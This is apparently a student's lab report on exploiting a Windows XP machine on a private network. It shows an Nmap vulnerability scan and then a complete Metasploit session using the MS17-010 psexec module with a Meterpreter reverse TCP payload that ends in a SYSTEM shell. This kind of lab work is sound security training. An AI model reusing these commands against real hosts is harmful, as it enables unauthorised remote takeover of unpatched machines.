

Report on Windows XP vulnerability



Submitted by:

Uttam Kumar Rajbanshi

Submitted to:

Director of SB Computer

Date: 2023/01/02

Time: 08:31 PM

Contents

Introduction to Windows XP	3
Scanning.....	4
Nmap.....	4
Exploitation.....	5
Searching for listed vulnerability	5
Set target and get exploit.....	6
Conclusion	7

Introduction to Windows XP

Windows XP is an operating system that was produced by Microsoft as part of the Windows NT family of operating systems. It was released to the public on October 25, 2001, and was the successor to the Windows 2000 operating system. Windows XP was designed to be a more stable and user-friendly version of Windows, and it included several new features such as a revamped user interface, improved support for multimedia, and better networking capabilities. It was widely used until the release of its successor, Windows Vista, in 2007. Although Microsoft stopped supporting Windows XP in 2014, it remains a popular operating system, particularly in developing countries.

This is an old operating system of Microsoft which has no security support now. Which make it vulnerable from external threats.

Scanning

Nmap

```
File Actions Edit View Help
Nmap scan report for 192.168.16.112
Host is up (0.00023s latency).
Not shown: 65530 closed tcp ports (conn-refused)
PORT      STATE SERVICE      VERSION
135/tcp    open  msrpc        Microsoft Windows RPC
139/tcp    open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp    open  microsoft-ds Microsoft Windows Vista Embedded microsoft-ds (workgroup: WORKGROUP)
1026/tcp   open  msrpc        Microsoft Windows RPC
2869/tcp   open  http         Microsoft HTTPAPI httpd 1.0 (SSDP/UPnP)
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-vuln-cve2014-3704: ERROR: Script execution failed (use -d to debug)
|_http-aspnet-debug: ERROR: Script execution failed (use -d to debug)
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
Service Info: Host: UTTAM-8XU9VYB4J; OS: Windows; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_vista

Host script results:
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: NT_STATUS_OBJECT_NAME_NOT_FOUND
|_smb-vuln-ms08-067:
|   VULNERABLE:
|     Microsoft Windows system vulnerable to remote code execution (MS08-067)
|     State: VULNERABLE
|     IDs: CVE:CVE-2008-4250
|     The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3,
|     Server 2003 SP1 and SP2,
|     Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary
|     code via a crafted RPC request that triggers the overflow during
|     path canonicalization.
|
|     Disclosure date: 2008-10-23
|     References:
|       https://technet.microsoft.com/en-us/library/security/ms08-067.aspx
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250
|_smb-vuln-ms17-010:
|   VULNERABLE:
|     Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
```

At the bottom of the screenshot above we can see highlighted the RCE vulnerability **ms17-010**. Through this we can get meterpreter shell access through Metasploit framework.

Exploitation

Searching for listed vulnerability

```
msf6 exploit(windows/smb/ms08_067_netapi) > search ms17-010

Matching Modules

#  Name                                     Disclosure Date  Rank    Check  Description
-  -                                     -              -      -      -
0  exploit/windows/smb/ms17_010_eternalblue 2017-03-14      average Yes    MS17-010 EternalBlue SMB Remote Win
dows Kernel Pool Corruption
1  exploit/windows/smb/ms17_010_psexec      2017-03-14      normal  Yes    MS17-010 EternalRomance/EternalSyne
rgy/EternalChampion SMB Remote Windows Code Execution
2  auxiliary/admin/smb/ms17_010_command     2017-03-14      normal  No     MS17-010 EternalRomance/EternalSyne
rgy/EternalChampion SMB Remote Windows Command Execution
3  auxiliary/scanner/smb/smb_ms17_010       2017-03-14      normal  No     MS17-010 SMB RCE Detection
4  exploit/windows/smb/smb_doublepulsar_rce 2017-04-14      great   Yes    MS17-010 SMB DOUBLEPULSAR Remote Code Execut
ion

Interact with a module by name or index. For example info 4, use 4 or use exploit/windows/smb/smb_doublepulsar_rce
```

First I searched for vulnerability that is shown in the nmap scan, after that I used Metasploit framework for exploitation as shown in the above screenshot. I used 1 option for the exploitation we can see in the below picture.

```
msf6 exploit(windows/smb/ms08_067_netapi) > use 1
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_psexec) > show options

Module options (exploit/windows/smb/ms17_010_psexec):

Name           Current Setting  Required  Description
--           -
DBGTRACE       false           yes       Show extra debug trace info
LEAKATTEMPTS   99              yes       How many times to try to leak transaction
NAMEDPIPE      true            no        A named pipe that can be connected to (leave blank for auto)
NAMED_PIPES    /usr/share/metasploit-framework/data/wordlists/named_pipes.txt  yes       List of named pipes to check
RHOSTS         192.168.16.111  yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT          445             yes       The Target port (TCP)
SERVICE_DESCRIPTION  false          no        Service description to to be used on target for pretty listing
SERVICE_DISPLAY_NAME  false          no        The service display name
SERVICE_NAME   ADMIN$          no        The service name
SHARE          ADMIN$          yes       The share to connect to, can be an admin share (ADMIN$, C$, ...) or a normal read/write folder share
SMBDomain      .               no        The Windows domain to use for authentication
SMBPass        .               no        The password for the specified username
SMBUser        .               no        The username to authenticate as

Payload options (windows/meterpreter/reverse_tcp):

Name           Current Setting  Required  Description
--           -
EXITFUNC       thread          yes       Exit technique (Accepted: '', seh, thread, process, none)
LHOST          192.168.16.111  yes       The listen address (an interface may be specified)
LPORT          4444           yes       The listen port

Exploit target:

Id  Name
--  -
0   Automatic

View the full module info with the info, or info -d command.
```

Set target and get exploit

```
view the full module info with the info, or info -u command.

msf6 exploit(windows/smb/ms17_010_psexec) > set RHOSTS 192.168.16.112
RHOSTS => 192.168.16.112
msf6 exploit(windows/smb/ms17_010_psexec) > show targets

Exploit targets:

  Id  Name
  --  ---
  0    Automatic
  1    PowerShell
  2    Native upload
  3    MOF upload

msf6 exploit(windows/smb/ms17_010_psexec) > show target 0
[-] Invalid parameter "target", use "show -h" for more information
[-] Invalid parameter "0", use "show -h" for more information
msf6 exploit(windows/smb/ms17_010_psexec) > set target 0
target => 0
msf6 exploit(windows/smb/ms17_010_psexec) > run

[*] Started reverse TCP handler on 192.168.16.111:4444
[*] 192.168.16.112:445 - Target OS: Windows XP 3790 Service Pack 1
[*] 192.168.16.112:445 - Filling barrel with fish... done
[*] 192.168.16.112:445 - <-----| Entering Danger Zone |----->
[*] 192.168.16.112:445 - [*] Preparing dynamite...
[*] 192.168.16.112:445 - [*] Trying stick 1 (x64)... Boom!
[*] 192.168.16.112:445 - [+] Successfully Leaked Transaction!
[*] 192.168.16.112:445 - [+] Successfully caught Fish-in-a-barrel
[*] 192.168.16.112:445 - <-----| Leaving Danger Zone |----->
[*] 192.168.16.112:445 - Reading from CONNECTION struct at: 0xfffffadfe6a2fc70
[*] 192.168.16.112:445 - Built a write-what-where primitive...
[+] 192.168.16.112:445 - Overwrite complete... SYSTEM session obtained!
[*] 192.168.16.112:445 - Selecting native target
[*] 192.168.16.112:445 - Uploading payload... JcMAnOsL.exe
[*] 192.168.16.112:445 - Created \JcMAnOsL.exe...
[+] 192.168.16.112:445 - Service started successfully...
[*] 192.168.16.112:445 - Deleting \JcMAnOsL.exe...
[*] Sending stage (175686 bytes) to 192.168.16.112
[*] Meterpreter session 1 opened (192.168.16.111:4444 -> 192.168.16.112:1049) at 2023-01-02 10:17:06 -0500

meterpreter > |
```

Here we can see I set ipaddress of the victim and set target and used **run** command. And at the end I got meterpreter shell we can see in the above screenshot in the bottom.

Conclusion

Vulnerability **ms17-010** which is in the windows xp that is vulnerable which provide backdoor to the attacker which can access through meterpreter shell.